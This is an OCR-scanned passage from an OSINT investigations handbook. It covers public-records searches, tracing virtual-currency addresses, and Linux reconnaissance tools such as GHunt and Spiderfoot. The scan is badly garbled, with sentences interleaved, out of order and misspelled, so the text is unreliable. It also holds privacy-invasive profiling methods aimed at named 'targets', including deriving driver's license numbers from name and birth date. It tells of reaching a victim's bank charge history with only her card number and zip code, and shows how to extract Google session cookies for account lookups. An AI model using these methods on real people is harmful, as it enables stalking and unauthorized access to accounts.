Aircraft Ownership Search Airline Certificates Airport Profiles Certified Pilots Cockpit Voice Recorder Database Flight Tracker Military Aviation Crash Reports Boat Name Boat Owner Record Date Registered Address Hull ID Hailing Port Open Secrets (opensecrcts.org) Money Line (politicalmoneyline.com) Melissa Data (melissadata.com/v2/lookups/fec/index) Vessel Build Year Ship Builder Hull Shape Propulsion Type Lloyd’s Registry Number Call Sign Coast Guard Vessel ID Sendee Type Boat’s Length Boat's Gross Tons Any contributions to political campaigns are public record. Searching this is now easy thanks to three separate websites. These sites will search using information as minimal as a last name. Including the full name and year will proride many details about the target. This includes occupation, the recipient of the contribution, the amount, the type of contribution, and a link to the official filing that contains the information. After an initial search is conducted, you will receive additional search tabs that will allow you to filter by zip code, occupation, and year. Melissa Data allows you to search a zip code and identify all political donations for a specified year. The results from these sites may be redundant, but often contain unique data. There is an abundance of details available about global marine traffic within ownership records and real-time monitoring. Marine Traffic (marinetraffic.com) prorides an interactive map that displays the current location of all registered ships and boats. Clicking on any vessel provides the name, speed, collection time, and destination. Boat Info World (boatinfoworld.com) allows the search of a boat name and provides the following details. Monitoring aircraft during flight and searching historical ownership records is relatively' easy. Commercial planes constandy announce their location with automated reporting systems and tail numbers act similarly to a vehicle's registration plate. Today, this information is publicly' available on multiple websites. Plane Finder (planefinder.net) displays an interactive global map identifying all known aircraft currently' in flight. Hovering over a selection displays the carrier, flight number, originating departure, destination, speed, and altitude. Historical ownership records are available on multiple websites and none are completely' accurate. 1 recommend Black Book Online's aviation page (www.blackbookoniine.info/Aviation-Public-Records.aspx). At the rime of this writing, it provided direct links to the following databases. This website requires a last name, social security' number, and date of birth of the target. The result will identify the person's full name, selective service number, and date of registration. BinDB (www.bindb.com/bin-database.html) Criminal Information Family Watch Dog (familywatchdog, us) Inmate Searches Government & Business Records 405 Florida Illinois Maryland Michigan Minnesota New Hampshire New York Washington Wisconsin the internet. County court searches will on each county's website. There are a name. If a target has a criminal past, there is probably evidence of this on identify most of this information, but this requires a separate search handful of senrices that attempt to locate nationwide information by While not technically government data, I felt that this option fits best in this chapter. This website will allow you to enter the first six digits of any credit card number and identify the brand, issuing bank, card type, card level, country, bank website, and customer care line. High Programmer (liighprogrammer.com/cgi-bin/uniqueid) Most states use some type of algorithm to create a driver's license number for a person. Often, this number is generated from the person's name, sex, and date of birth. After you have determined your target's middle initial and date of birth from the previous websites mentioned, you can use this data to identify the target s driver s license number. High Programmer will automate this process for the following states: Both federal and state prisons offer prisoner details online. The amount of detail will vary by state, but most will include photographs of the target and details of the crime. In most states, this information is maintained in public view after the target is released, if the subject is still on probation or parole. Federal prisoners can be located at www.bop.gov/inmateloc. A first and last name is required for a search. Each state maintains its own database of prisoner information. Conducting a search on Google of "Inmate locator" plus the state of interest should present official search options for diat state. This is one of the leading sites in identifying public criminal information about sex offenders. The main page includes a "Find Offender" tab. You can search here by address or name. The name search only requires a last name to display results. This will identify’ registered sex offenders that match the criteria specified. This will include a photograph of the target and details of the offense. Real World Application: While working in the homicide division, I often identified credit or debit card numbers of my victims. If the actual card was located, I did not need this senrice. However, if only the number was located, this senrice helped to identify’ the financial institution and a contact number. In one specific investigation, I had learned that the victim had eaten at a local restaurant the evening prior to her suspicious death. Visiting the restaurant allowed me to acquire the debit card that she used for payment Searching this number through BinDB identified the issuing bank. Calling presented an automated self-senrice feature for members of that bank. Entering the newly found debit card number and the zip code of the victim allowed me to access the previous 30 days of charges to her account. This identified an unknown ATM withdrawal on the day of her killing. Retrieving video from that ATM machine displayed a passenger in her vehicle. This initiated a new investigation which eventually led to the killer. VINELink (unelink.com) Broadcastify / Radio Reference (broadcastify.com/radioreference.com) 406 Chapter 25 1 Every’ scanner broadcast is recorded at all times. A paid membership provides access to these archives. This has been a huge benefit to my investigations. I can go back in time to hear the original dispatch and all follow-up radio transmissions. Even better, 1 can do this without a subpoena or FOIA request. I have been a scanner enthusiast for much of my’ life, but this takes everything to a new level. In the early’ 90's, I would have never suspected that 1 could hear all frequencies at any time and "rewind" communications from anywhere. VINELink is an online portal to VINE, a victim notification network. VINE has been providing victims and concerned citizens with information for decades, allowing individuals to access reliable information about custody’ status changes and criminal case information. After choosing the state of interest, you can select from the following options. Warning: Every' city, county’, state, and country’ reports criminal matters uniquely. While you may find something of interest through traditional OSINT resources, absence of online criminal information does not indicate that a crime was not committed. More often than not, I cannot locate online information about a known crime or criminal. These resources should be considered secondary’ to a detailed inquiry’ through the courts or law enforcement. Find an Offender Get info and register to be notified of custody’ status changes. Find an Offender Court Case: Get info and register to be notified of offender court dates. Find Sex Offender Registry’ Status: Get info about sex offender registry’ status changes. Find a Protective Order: Get info and register to be notified of protective order status changes. These sites have been a steady part of my arsenal for over a decade. Broadcastify allows you to listen to live and archived streams of radio traffic from emergency’ personnel while Radio Reference is the most robust database of known radio frequencies for these transmissions. Each site complements the other, so let's dissect both of them. A premium membership to both sites is $30 annually. This provides commercial-free listening; non-stop streaming; access to archives; custom listening templates; and programming functions through scanner software. The free tier allows limited streaming with commercials and manual query’ of frequencies. I know many people who get by’ with the free version. The first time you need access to the archives, the cost of membership will likely' be justified. This service allows journalists to play' dispatch recordings without waiting on a public release from a government agency’. Broadcastify’ is the largest platform of live streaming audio from public safety’, aircraft, rail, and marine related communications in the United States. It was originally hosted on Radio Reference's site. From the "Listen" > "Browse Feeds" menu, you can drill down through states and counties to select y’our area of interest. From there, you rely on the willingness of internet strangers to share their audio feeds to the world. I can be in Los Angeles and listen to a stranger's police scanner monitoring frequencies in Chicago. I confess that on occasion, I listen to the police department which hired me in the 9O's to hear what my’ former colleagues are doing. If you are investigating any’ event in real-time, this can be a wonderful free service. For me, the power is in the archives. Radio Reference identifies frequencies for local monitoring. You can drill down through y’our state and county to reveal all police, fire, and other frequencies. These can then be programmed into y’our own hardware for live monitoring. This is beneficial if a specific stream of audio is not available through Broadcastify. Many software applications which support various police scanners can connect to this database for easy’ programming. I rely on my Uniden BCD396XT receiver programmed by’ ProScan (proscan.org) software, retrieving data from Radio Reference. I can program any local frequencies to my unit within minutes while I am conducting a remote investigation. IntclTechniqucs Business & Government Tool Populate All IntelTecliniques Tools Pacer Search Engines Name Name Facebook Name Name Twitter Name Instagram Name Name Linkedln Name Name Communities LittleSis Name Email Addresses Name Name Usernames Name Names Pacer Telephone Numbers Maps Documents Pastes US Staff Images LittleSis Videos AIHIT Email Address Domains AIHIT Telephone Number SSDI SSN IP Addresses Virtual Currencies Data Breaches & Leaks Figure 25.01: The IntelTechniques Business & Government Tool. Government & Business Records 407 JudyRecords FOIA While minimal, this tool should assist with replicating some of the searches mentioned within this chapter. Figure 25.01 displays the current state of the tool. Company Company Company Company Company Company Open Secrets MoneyLine Voter Records Recap UniCourt Recap UniCourt Company Company Company OpenCorporates AIHIT Open Payrolls US Staff JudyRecords FOIA OpenCorporates AIHIT Name ...J 408 Chapter 26 Blockchain (blockchain.info) Bitcoin Who’s Who (bitcoinwhoswho.com) BlockChair (blockchair.com) https://blockchair.com/bitcoin/address/1 EzwoHtiXB4iFwedPr49iywjZn2nnekhoj Bitcoin Abuse (bitcoinabuse.com) Ch a pt e r Tw e n t y -Six Vir t u a l Cu r r e n c ie s The results are typical, and include balance and transaction data. The power of BlockChair is the ability to search Bitcoin, Ethereum, Ripple, Bitcoin Cash, Litecoin, Bitcoin SV, Dash, Dogecoin and Groestlcoin. We will use the following URLs for each, replacing "xxx” with the target address. This service focuses on one feature. It notifies you if others have reported a target virtual currency address as associated with malicious activity7. This often provides valuable information about an investigation. Consider an actual report located at the following URL. Our next stop is a service that provides a bit more analysis about the suspect account. We immediately learn that it is a suspect ransomware account, and that the address has appeared on various news outlet websites. Furthermore, we see transaction IP addresses, which are likely behind VPNs. Overall, I use Blockchain for transaction details and Bitcoin Who's Who to get a better idea of why I might care about the account. This website allows search of a Bitcoin address and displays the number of transactions, total amount of Bitcoin received (S), final balance, and a complete transaction history. We can track every incoming and outgoing payment. This will almost never be associated with any real names, but it provides a great level of detail about the account. We learn that this account has received 19.12688736 Bitcoin worth S 287,391.14 USD at the time of this writing. https://blockchair.com/bitcoin/address/xxx https://blockchair.com/ripple/address/xxx https://blockchair.com/bitcoin-cash/transaction/xxx https://blockchair.com/litecoin/address/xxx https://blockchair.com/bitcoin-sv/address/xxx https://blockchair.com/dash/address/xxx https://blockchair.com/dogecoin/address/xxx https://blockchair.com/groesdeoin/address/xxx In simplest terms, virtual currencies can be spent for goods and services without connection to a person or bank account It has no physical presence, and is mostly used online as digital payment. Bitcoin is virtual currency. A bitcoin address, which is an identifier you use to send bitcoins to another person, appears similar to a long string of random characters. In our demo, we will use 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw, which is the real address that was used to collect ransom from victims after malicious software had taken over their computers. Think of a Bitcoin address as an email address. That address stores their "virtual" money. This service is very similar to Blockchain, but I find it has better representation across multiple virtual currencies. Additionally, we can query each currency via URL, which will assist in our tools. Let's start with a search of a Bitcoin address at the following URL. Virtual Currencies 409 https://www.bitcoinabuse.com/reports/lKUKcwCv64cXQZa4csaAlcF3PPTio6Yt2t The results include a summan' of the activity and the email addresses sending malicious email. Wallet Explorer (walletexplorer.com) Virtual Currency APIs invalid. This is a http://codacoin.com/api/public.php?request=validate&address=xxx Value: The following URL presents the current value of one Bitcoin. https://blockchain.info/q/24hrprice https://blockchain.info/q/getreceivedbyaddress/xxx https://blockchain.info/q/getsentbyaddress/xxx Balance: This utility displays the current balance of an address in "Satoshi". https://blockchain.info/q/addressbalance/xxx 410 Chapter 26 Sep 21,2019 Sep 21,2019 https://www.walletexplorer.com/address/1 EzwoHtiXB4iFwedPr49iywjZn2nnekhoj https://www.walletexplorer.com/wallet/00037fd441938ba4 sextortion ransomware [email protected] [email protected] "Hacked computer email" Claims to hack computer Validation: The following URL provides an indication whether a provided address is valid or great first search to make sure you have a proper address. Sent: This URL displays the total amount of Bitcoin sent by a specific address. It is important to note that this amount is also presented in "Satoshi" (0.00000001 Bitcoin). The previous utilities examined an individual virtual currency account, such as a Bitcoin address.'Many people possess numerous addresses and store them all within a virtual wallet. This is where Wallet Explorer can be extremely beneficial. While researching one of our target Bitcoin addresses within this free service, the results identified a wallet of "00037fd441" which contained the target address. Clicking on the link to this wallet revealed multiple new transactions from additional Bitcoin addresses previously unknown. This step is vital in order to track all transactions associated with your suspect. The following URLs search an address and a wallet. In order to create the custom search tool presented at the end of this chapter, I needed a very simple way to query virtual currency’ addresses for various tasks. Many of the websites which allow searching of Bitcoin addresses do not permit submission via URL. Instead, 1 will take advantage of various Application Programming Interfaces (z\PIs) which allow us to query’ directly and receive a text-only result. The following URLs are used within the tool, with an explanation of each. Each display of "xxx" is where the virtual currency address or amount would be inserted. Received: This URL displays the total amount of Bitcoin received by a specific address. It is important to note that this amount will be in "Satoshi". A Satoshi is equal to 0.00000001 Bitcoin. Put another way, one bitcoin contains 100 million Satoshis. This unit of measurement is popular because a single Bitcoin is currently worth approximately $19,000. The Satoshi is a more precise number. In a moment, we will convert Satoshi to USD. Summary: This URL displays a brief summary of a Bitcoin address including total received, total sent, balance, total transactions, first transaction, and most recent transaction. Replace "xxx" with your target address. https://chain.api.btc.com/v3/address/xxx to convert this to traditional time format. Replace https://blockchain.info/q/addressfirstseen/xxx Investigation Summary Satoshi > USD Value: The following URL will always display the current value of any amount of Satoshi in USD. This price fluctuates hourly. Replace '’xxx'’ with your value of Satoshi. BTC > USD Value: The following URL will always display the current value of any amount of Bitcoin in USD. This price fluctuates hourly. Replace "xxx" with your value of Bitcoin. USD > BTC Value: The following URL will always display the current Bitcoin value of any amount of USD. This price fluctuates hourly. Replace "xxx" with your value of USD. http://codacoin.com/api/public.php?request=convert&type=fiattobtc&input—xxx&symbol-enabled&decim al=10&exchange=average&currency=USD&denom=satoshi BTC Validation: Valid (The address is a proper format) 1 BTC Price: SI 9,978.23 (Tine current value of one Bitcoin) Satoshi Received: 716409285544 (The total amount of received currency) Satoshi Sent: 716371585974 (The total amount of sent currency) Satoshi Balance: 37699570 (The total amount of the current balance) Satoshi > USD: (Used to convert Satoshi to USD as follows) Received: $136,925,336.62 Sent: $136,914,950.52 Balance: $7,205.23 http://codacoin.com/api/public.php?request=convert&ty'pe=btctofiat&input-xxx&symbol—enabled&decim al=2&exchange=average&currency=USD&denom=satoshi http://codacoin.com/api/public.php?request=convert&type=btctofiat&input=xxx&symbol=enabled&decim al=2&exchange=average&currcncy=USD&denom=bitcoin http://codacoin.com/api/public.php?request=convert&type=fiattobtc&input=xxx&symbol-enabled&decim al=10&exchange=average&currency=USD&denom=bitcoin First seen: This Blockchain query displays the date which a virtual currency' address transaction was first seen within the public blockchain. Note that this result will appear in Unix time format, but our tools will allow you to convert this to traditional time format. Replace "xxx" with your virtual currency' address. Now that you understand the details available about a virtual currency address, let's run through a typical investigation. Assume you are investigating a Bitcoin address of 1 EzwoHtiXB4iFwedPr49iywjZn2nnekhoj. It was used as pan of an extortion email, and you have been tasked to find any information about the address. First you input the address into the search tool. The following information would be presented after each of the options. USD > Satoshi Value: The following URL will always display the current Satoshi value of any amount of USD. This price fluctuates hourly. Replace "xxx" with your value of USD. Virtual Currencies 411 Scam Search (scamsearch.io) IntelTechniques Virtual Currency Tool j Bitcoin Address 1 [ Date Conversion! I [ Populate All ] Figure 26.01: The IntelTechniques Virtual Currency Tool. 412 Chapter 26 | Unix Time Bitcoin Amount Dollar Amount Satoshi Amount Dollar Amount Virtual Currency Address | Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Bitcoin Address Wallet ID__________ Ethereum Address Bitcoin-Cash Hash Litecoin Address Bitcoin-sv Address Dogecoin Address Dash Address BTC > USD USD > BTC Satoshi > USD USD > Satoshi Scam Report WalletExplorer BC Ethereum BC Cash BC Litecoin BC BC-SV BC Dogecoin BC Dash This tool simplifies the various techniques explained in this chapter. Each option, including API requests, open in a new browser tab. Figure 26.01 displays the tool. Summary: "address": " 1 EzwoHtiXB4iFwedPr49iywjZn2nnekhoj", "received": 716409285544, "sent": 716371585974, "balance": 37699570, "tx_count": 3534, "unconfirmed_tx_count": 0, "unconfirmed_received": 0, ’'unconfirmed_sent": 0, "unspent_tx_count": 3, "first_tx": "6ccl542feb7abcff6364c0d31fc75097e0ecf7dac897ad6de6a2clc5al261316", "last_tx": "ell525fe2e057fbl9ec741ddcb972cc994f70348646368d960446a92c4d76dad" Creation Date: 1331482301 (Unix time when the address was first seen) Date Conversion: Mar-11-2012 10:11:41 (Time in UTC) Blockchain: A detailed list of all transactions. BitcoinAbuse: One report of malicious activity and a new email address to research. BitcoinWhosWho: Links to online references to the address on Reddit. WalletExplorer zXddress: Transaction details and wallet ID of 00037fd441. WalletExplorer Wallet: Several pages of additional Bitcoin addresses within the suspect's wallet. You could now repeat the process with the new Bitcoin addresses with hopes of identifying more email addresses. The email address search tool may identify further information about your target. While this is all very time consuming, the tools should simplify the queries. This free sendee was previously explained as a resource for searching email addresses, usernames, and telephone numbers to identify association with online scams. It can also be used to query virtual currency addresses. Searching "lFVuyuSN41aa3JN9sn8qkuD2PmaMEMHHnc" reveals email addresses, IP addresses, and locations associated with an online extortion suspect. "I BTC Validation ] ~i 1 BTC Price ) [ Satoshi Received j : [ Satoshi Sent ] ' ( Satoshi Balance I , [ Summary j . [ Creation Date j J | Blockchain j : [ BitcoinAbuse J ! [ BitcoinWhosWho ] J OXT ] , | WalletExplorer | J BTC I il BCBTC | Let's start with the automated tasks. Internet Archive Tool Make a director}' in the Documents folder for data and enter it Download all known URLs indexed by Internet Archive into a text file: waybackpy —url '’https://pretendradio.org” —known_urls /\dvanccd I Jnux Tools 413 mkdir -/Documents/waybackpy mkdir -/Documents/waybackpy/pretendradio.org cd ~/Documents/waybackpy/pretendradio.org Ch a pt e r Tw e n t y -Se v e n Ad v a n c e d Lin u x To o l s Next, every application mentioned within this chapter is already present within your VM which possesses an automated script to help you along the usage. If you completed all of the steps within Chapter Five and created a custom OSINT virtual machine, you are ready to start using each of these applications. I encourage you to boot to a CLONE of your "OSINT Original" VM and test the lessons as you progress through this chapter. Your previous work will pay off here and allow you to jump right in. I still present the manual steps for installation, configuration, and usage for each application in order to understand the process. None of these steps need to be replicated if you simply want to launch each program within your custom VM. I previously explained the power of the Internet Archive while searching for online content which has since been removed. Browsing a target domain on the Wayback Machine website can be very fruitful, but automating the collection of data can be more beneficial. The "Internet Archive Tool" script, titled "intemetarchive.sh" in the download takes advantage of a Python script called "waybackpy", which was installed previously with the command sudo -H python3 -m pip install waybackpy. Launching the script presents a single domain entry window which accepts a domain or specific URL. Executing the script conducts the following tasks, using pretendradio.org as a target. Before we begin, there are two very important details. First, I will not display the full code from within the scripts and shortcuts of each program. You can easily navigate to the "scripts" and "shortcuts" folders within the "vm-files" archive which you previously downloaded if you want to view the entire code. Displaying the lengthy text within this chapter might be considered redundant and a waste of paper. I only focus on the benefits of each tool here. Some readers skip this chapter until they become more comfortable within Linux. However, I believe those within any skill level can replicate all tutorials. Most applications will feel similar to the automation previously discussed in Section One. The first section of this book focused heavily on a Linux virtual machine, and I explained numerous applications which assist our investigations. Those programs demanded a single piece of information, which allowed me to present scripts to automate the processes. As an example, the Instagram tools prompt you for a username and then execute the proper commands in order to simplify the process. This chapter has many similarities but also some key differences. It contains some advanced applications which would be impossible to automate with simple scripts and applications which require the lessons explained within previous chapters. Some of these programs require heavy user input with features which must be tackled within Terminal while others present automation similar to the options presented within the first section of this book. Download the oldest known archive URL into a text file: pretendradio. txt waybackpy —url '’https://pretendradio.org" —oldest Append the file with the newest archive URL: waybackpy —url "https://pretendradio.org" —newest » pretendradio.txt Append the file with URLs from the past ten years: 2013 2014 » —year 2017 —near 2018 2019 » 2020 » Remove duplicates and sort by date: sort -u -i pretendradio.txt pretendradio.sorted.txt Generate screen captures of all unique links with only one thread (slower): 1 webscreenshot chrome -i pretendradio.sorted.txt Download source code of the oldest and newest archives: 414 Chapter 27 • waybackpy —url "https://pretendradio.org" —get oldest • waybackpy —url "https://pretendradio.org" —get newest > oldest.html > newest.html The result is a "pretendradio.org" folder within Documents/waybackpy which includes a text file of over 500 URLs (with duplicates) of potential evidence on the target domain; a text file of five known archives of the target website; screen captures of all five archives; and source code of the newest and oldest archive. Figure 27.01 displays a result which identifies the way the target website appeared in April and October of 2017. Imagine you have a target URL which has hundreds of archives throughout the past decade. This is a quick way to see annual changes to the site and document the evidence. When the tool completes, you will be presented with the folder containing all of the data. waybackpy —url "https://pretendradio.org” —near —year 2010 » pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year 2011 » pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year 2012 » pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year 2015 » pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year 2016 » pretendradio.txt waybackpy —url "https://pretendradio.org" pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year pretendradio.txt waybackpy —url "https://pretendradio.org" —near —year pretendradio.txt Figure 27.01: Screen captures from the automated Internet Archive Tool. $url.sorted.txt wget The Internet Archive; creates Q prison! Location Name Size ☆ Starred (J Home index.html.4 ...Jane Whaley s Son-in-Law is Coing to Prison... 214.9 kB C Desktop Documents index.html.9 ...Jane Whaley's Son4n-Law is Coing to Prison... 136.2 kB 0 Downloads index.html.10 ...Jane Whaley's Son-in-Law is Coing to Prison... 204.0 kB J3 Music index.html.15 ...Jane Whaley's Son-in-Law is Coing to Prison... 136.2 kB 2 Pictures index-htmLl 6 ...Jane Whaley's Son-in-Law is Going to Prison... 204.0 kS 0 Videos Figure 27.02: Search results from a keyword search within archived web pages. Advanced Linux Tools 415 0 Q □ 143 3 kB This places several files within the "waybackpy" folder within your "Documents" folder. In this example, they included the following. index. html index. html. 1 index, html. 2 index.html. 3 11.3 ...JaiwV/balcA SoMn-UwtsGan; In summary, this tool compiles a list of URLs related to the target website on screen captures of those pages; and extracts the text in order to search quickly. Now that we have screen captures of these pages, we should also extract the text. The automated script included with your custom VM conducts the following at die end of the cycle. Each of these is an archived home page of the target website from a different date. Double-clicking them will load the pages within a web browser which should display the target site similar to the way it appeared previously. However, a keyword search can also be beneficial. You can use die embedded search function within the Files application which is presented after successful completion of the script. Figure 27.02 displays my search of these files for the word "prison". The results identify' files of interest which I need to further investigate. GHunt requirements.txt -I • python3 ghunt.py email [email protected] 416 Chapter 27 • cd ~/Downloads/Programs • git clone https://github.com/mxrch/ghunt • cd ghunt • sudo -H pip install • cd ~/Downloads/Programs/ghunt • python3 check_and_gen.py Now that you possess the various account details required by GHunt, you can supply this data to the program As long as these settings are not changed or refreshed by Google, you can reuse them for several queries. If you have followed my custom VM tutorials, the "Usemame/Email" tool is already configured to assist you with this process. Simply launch the tool and select the option tided "GHunt Configuration". If you want to do this manually, you would enter the following within Terminal. This Terminal-based program requires some work to configure it properly, but the rewards justify the efforts. If you followed the steps within Chapter Five while recreating your custom virtual machine, you have already installed the software. If you did not follow that chapter, the following will get you set up. SID: EthaBDv-SLCzi5-fGYFsgQEpsniuXp4vFdhSyxbfsgtJhePrKh7HWRhgfK42I4MoDa2Da SSID: AhMQD6hufgMRsthCsVh APISID: 90zgIYkLxDhgsLusoOl/AfJvEF8ihm_TfHOh86Cl s SAPISID: XsCNhC7fDVIE8hNY4Sr/AJfwurhpUkbFvsfUqBrP HSID: Afrno3fgHjaUfpPhmfgRxfhZFQ LSID: o.chatgoogle.com | o.mail.google.com | s.youtube:EQhaBIp83rHin-E_4hhykliVKWSZqPSfWl _Secure-3PSID: EQjhaBDv-SCzi5-fGWYFsEpp4vFSf65yxbsgtJePrK7iOvBWuPnsdBiyw Whichever path you choose, you will be presented with a menu. Select the option labeled " [3] Enter manually all cookies". This will prompt you to provide your own SID, SSID, APISID, SAPISID, HSID, LSID, and __Secure-3PSID as previously obtained. Allow the application to complete the sign in process with these cookies. Once finished, you can now play with the options. You can either launch the "Usemame/Email" tool from your custom VM or enter the command manually. I will explain both. First, let's look at email. The following manual Terminal command queries an email address from within the GHunt installation folder. • Navigate to gmail.com and log in to an active Google account. • Right-click within this page and choose "Inspect". • Click the "Network Tab" in the lower box. • Navigate to myaccount.google.com within this web browser tab. • Select the row labeled "302 GET accounts.google.com" within the inspectoi • Click the "Cookies" tab in right window. Next, you must possess valid login cookies from an active Google account This is because the Google API, which you will use to find information about various accounts, requires you to be logged in to an account in order to access these details. Therefore, you must acquire several pieces of data from your own Google account I recommend using an account which you rarely access. As long as you do not log in to this account from a web browser AFTER you obtain these cookies, they should stay valid for long-term usage. Conduct the following. You should now see several identifiers related to your Google account. Find each of the fields which are listed below, and document the data associated with your own account. I have provided sample data below. The result is as follows. The result is as follows. Advanced Linux Tools 417 • python3 ghunt.py youtube https://www.youtube.com/channel/UC_gH- AQqoOUZ4ykZBCLdvww • python3 ghunt.py doc https://docs.google.eom/spreadsheets/d/ !BxiMVsOXRA5nFMdKvBdBZ jgmUUqptlbs740gvE2upms Document ID: 1BxiMVsOXRA5nFMdKvBdBZjgmUUqptlbs740gvE2upms [+) Creation date : 2011/05/12 18:29:28 (UTC) [+] Last edit date : 2011 /05/12 18:29:28 (UTC) Public permissions: -reader (+) Owner found I Name: A Googler Email: [email protected] Google ID: 02845897149113753960 [+) Custom profile picture I => https://lh3.googleusercontent.com/a-/AOh14GhXaVAhS8Ci08Xito5iVJVsooEhsgUIGhZ45NjTf03s64 Profile picture saved I We now know the document creation date/rime; the last modified date/time; owner name; owner email; owner Google ID; and owner Google profile image. The automated version of this can also be found in your "Username/Email" tool within your OSINT VM. Next, we can manually enter the following command to query’ a YouTube channel URL. (+] 1 account found 1 Name: Larry Page [+] Custom profile picture I => https://lh3.gQogleusercontent.com/a-/AOh14GiUjlWnt4MNgr7Wmeyb3PzXlka4E8PFEIIF27olxlA Profile picture saved I Last profile edit: 2021/11/27 10:01:21 (UTC) Email: [email protected] Gaia ID : 111627209495762463002 Hangouts Bot: No [+] Activated Google services: - Hangouts - Photos - Maps [+] YouTube channel (confidence => 37.5%): -[Larry Page] https://youtube.com/channel/UCmpDzlgzPdbzShSzH48mCHg -[Larry Page] https://youlube.com/channel/UCJuR7fG13KEpEPr8EH7bsgw -(Larry Page] https://youtube.com/channel/UCNXk_sA4Kv3rDIYo8vl-gLQ - [Larry Page] https://youtube.com/channel/UCefpKs_qOUsJV5_1n5_H13A Google Maps: https://www.google.com/maps/contrib/111627209495762463002/reviews [•] No reviews Google Calendar: https://calendar.google.eom/calendar/u/0/[email protected] [-] No public Google Calendar. Let's dissect our findings. We now know the name of the user and his profile photo has been saved within the "profile_pics" folder inside the GHunt installation directory. We are provided a date and time of his last profile update; his Google Accounts and ID Administration ID (GAIA); his four YouTube channels; and confirmation that he uses Hangouts, Photos, and Maps. We also know that he has not written any map reviews. This summary was provided almost instantaneously. If using the custom OSINT VM, the "Username/Email" tool with the "GHunt Email" option replicates this process. However, the custom script also outputs the data to a text file within your Documents folder and opens all results upon completion. The followingTerminal command would search a Google document The result is as follows. python3 ghunt.py gaia 105144584335156066992 The result follows. I? 5 Figure 27.03: The GHunt options within the custom script provided in Chapters Five and Six. 418 Chapter 27 Finally, we can query a Google Accounts and ID Administration ID (GAIA) with the following manual command. All of these options previously © Sherlock SocialScan Holehe WhatsMyName Email2Phone GHunt Email GHunt Doc GHunt YouTube Channel GHunt GAIA GHunt Configuration Name : Thrice [+] Custom profile picture ! https://lh3.googleusercontent.com/a-/AOh14GjnQudTez6UmMPhl16UWH-hH_Uq5MhBvDkNcLXX Gaia ID : 105144584335156066992 [+] YouTube channel (confidence => 50.0%): - [Thrice] https://youtube.com/channel/UC_gH-AQqoOUZ4ykZBCLdvww Google Maps : https://www.google.com/maps/contrib/105144584335156066992/reviews Q Sherlock SocialScan Holehe WhatsMyName 3 Email2Phone (3 GHunt Email © GHunt Doc GHunt YouTube Channel GHunt GAIA GHunt Configuration L) Sherlock 2) SocialScan ) Holehe 4) WhatsMyName 5) Email2Phone Is) GHunt Email GHunt Doc GHunt Youtube Channel GHunt GAIA 110) GHunt Configuration m.) Exit [Youtube channel] [+] Channel name : Thrice [+] Snapshot: 12/09/2016 [+] GaialD => 105144584335156066992 [-] Email on profile : not available. [+] Country : United States Description : New Album 'Horizons/Easf, out digitally now. Vinyl/CD available Oct 8 on Epitaph Records. Available now for pre-order - https://thrice.ffm.to/horizonseast Total views: 78,701.229 Joined date: Dec 7,2015 [+] Primary links (6 found) - Horizons/East => https://thrice.ffm.to/horizonseast - Website => http:ZAhrice.net - Instagram => http://instagram.com/thrice - Twitter => http://twitter.com/thrice - Facebook => http://facebook.com/officialthrice - Listen On Spotify => https-J/open.spotify.com/user/thriceofficial/playlist/32ugRW7o4bgWp4pvcTOuEW?si=cR5HWzESR2SPSEmTx3BgtQ [Google account]Name: Thrice P) 8) rd~..s are present within the "Username/Email" tool within the custom Linux OSINT VM r---------created, as well as the Mac and Windows builds created in Chapter Six. Any time I encounter a Google email address, Google document, YouTube Channel, or GAIA, 1 launch this tool. Figure 27.03 displays the custom tool menu for Linux (left), Mac (middle), and Windows (right). Spiderfoot requirements.txt • python3 ./sf.py -1 127.0.0.1:5001 http://127.0-0.1:5001 firefox Advanced Linux Tools 419 If we are inside the Spiderfoot directory (~/Downloads/Programs/spidcrfoot), we can launch the Spiderfoot service with the following command. • cd -/Downloads/Programs • git clone https://github.com/smicallef/spiderfoot.git • cd spiderfoot • sudo -H python3 -m pip install The ’’Graph" button displayed a detailed chart of connections from my domain to external sources. Figure 27.04 displays my result, identifying associations to a Reddit username, Gravatar profile, and email server. Figure 27.05 displays a Spiderfoot summary of my own domain. 1 cannot overstate that I am only presenting a handful of interesting nuggets. This application scours a domain, IP address, or email address for hundreds of data points which may provide value. Clicking the "Scans" button provides options to stop, re-run, or delete a scan result. It also provides a status summary’ of each current scan, and you can execute numerous scans simultaneously. I chose "AU" in order to test the features, but this can be intrusive toward your target site. Choose the level of access appropriate for your investigation. The scan will launch and may take a while to complete, possibly hours. The amount of data acquired will be substantial, and I will only focus on a few areas of interest. The default screen displays the current progress and a log file. The "Browse" button in the upper left allows you to start peering into the data found about your target. Below are the sections of interest to my own site and the results displayed. This program introduces more valuable utilities than any other single resource within this book. This wiU take some effort to install and configure, but the benefits justify the work. I installed the application into the custom Linux VM with the following steps. • Account on external site (Four online profiles connected to my brand) • Human Name (Identification of my full name and three associates) • Leak site content (56 Pastebin files referencing my domain) • Similar domain (Two domains with similar spelling, attempting to hijack traffic) • Web technology’ (Pages on my’ site which rely on PHP, and my version) If executing manually, you would need to launch Firefox and connect to http://l27.0.0.1:5001. We can replicate this from Terminal with the following. I have already’ prepared a script titled "SpiderfooLsh" which can be launched from your Dock or Applications menu within your custom OSINT VM. Let's take a look at the interface and conduct an example query’. After launching the Spiderfoot program within Firefox, click the "New Scan" option. Provide a name for your session (IntelTechniques) and a domain (inteltechniques.com). Choose your desired "Use case" and click "Run scan". d.paste tn ccmAJ gF Sb*Vh inteftechnqjesani Figure 27.04: A partial Spiderfoot graph displaying external associations. 12 10 a 2 7 , ;r , r',-. .Ep. Figure 27.05: A Spiderfoot summary of my own domain. 420 Chapter 27 / :c-a oLwrajJthcirtticcptconi A hnpsrpastebin conVZG.vHfBtG I I I: , , t L -r1 Rccon-ng REQUIREMENTS Advanced Linux Tools 421 • cd ~/Downloads/Programs/recon-ng • git pull https://github.com/lanmaster53/recon-ng.git discovery/info_disclosure/cache_snoop discovery/info_disclosure/interesting_files • cd -/Downloads/Programs • git clone 